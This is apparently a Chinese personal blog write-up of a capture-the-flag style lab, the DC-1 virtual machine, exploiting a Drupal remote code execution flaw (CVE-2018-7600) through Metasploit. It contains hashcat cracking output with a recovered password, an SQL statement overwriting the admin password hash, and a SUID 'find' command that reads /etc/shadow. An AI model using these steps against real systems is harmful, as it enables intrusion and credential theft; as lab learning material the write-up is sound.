Twosmi1e's Blog.

DC-1渗透报告

Word count: 632 / Reading time: 3 min
2019/10/16 Share

前言

做了一下DC1到DC6的靶机渗透,简单记录一下过程

知识点

CVE-2018-7600 Drupal核心远程代码执行漏洞
drupal配置文件和重置管理员密码
suid提权

信息收集

Nmap扫一下端口发现
80端口是drupal 7 服务
111 端口是 rpcbind服务

web渗透

用msf开始搜一下drupal漏洞
Alt text
选一个漏洞设置远程IP地址开始攻击
Alt text
反弹回一个msf的shell 目录下有flag1
Alt text
在/sites/default目录下有数据库配置文件 有flag2和数据库用户名密码
Alt text
登入数据库 有管理员用户名及密码hash
Alt text
这里有两种方法
第一种使用hashcat暴力破解,使用网上的常用密码字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ ./hashcat64.exe -m 7900 hashes.txt rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1070 Ti, 2048/8192 MB allocatable, 19MCU

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Uses-64-Bit

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 2 secs


$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Type........: Drupal7
Hash.Target......: hashes.txt
Time.Started.....: Fri Mar 08 09:19:57 2019 (7 mins, 52 secs)
Time.Estimated...: Fri Mar 08 09:27:49 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 36639 H/s (2.15ms) @ Accel:128 Loops:32 Thr:64 Vec:1
Recovered........: 2/3 (66.67%) Digests, 2/3 (66.67%) Salts
Progress.........: 43033152/43033152 (100.00%)
Rejected.........: 0/43033152 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:16352-16384
Candidates.#1....: $HEX[284d6f75746f6e] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 69c Fan: 47% Util: 96% Core:1809MHz Mem:3802MHz Bus:16

密码是53cr3t。

方法二是通过数据库操作修改密码
参考链接:
https://www.yuzhi100.com/article/drupal-7-chongzhi-guanliyuan-mima

用drupal自带的 password-hash.sh 加密 drupal
Alt text

1
update users set pass='$S$DFLfuzfO9WDKAJcUHnNmhS9NwOD6MRj3pk00qEl4O7iNBD2X4n3v' where name='admin';

Alt text
然后回浏览器登录

翻一下后台发现flag3
Alt text
Alt text
提示查看shadow文件
继续翻目录翻到flag4
Alt text

提权

https://github.com/rebootuser/LinEnum
wget下载这个脚本跑一下
Alt text
发现提示可能有SUID提权
之前flag也提示了用find命令

find /etc/shadow -exec cat {} \;> all.txt

Alt text
拿到密码hash,然后用john跑一下
Alt text

也可以直接读flag5文件
Alt text
完成

参考链接

http://gv7.me/articles/2017/batch-crack-shadows/
https://www.anquanke.com/post/id/86979

CATALOG
  1. 1. 前言
  2. 2. 知识点
  3. 3. 信息收集
  4. 4. web渗透
  5. 5. 提权
  6. 6. 参考链接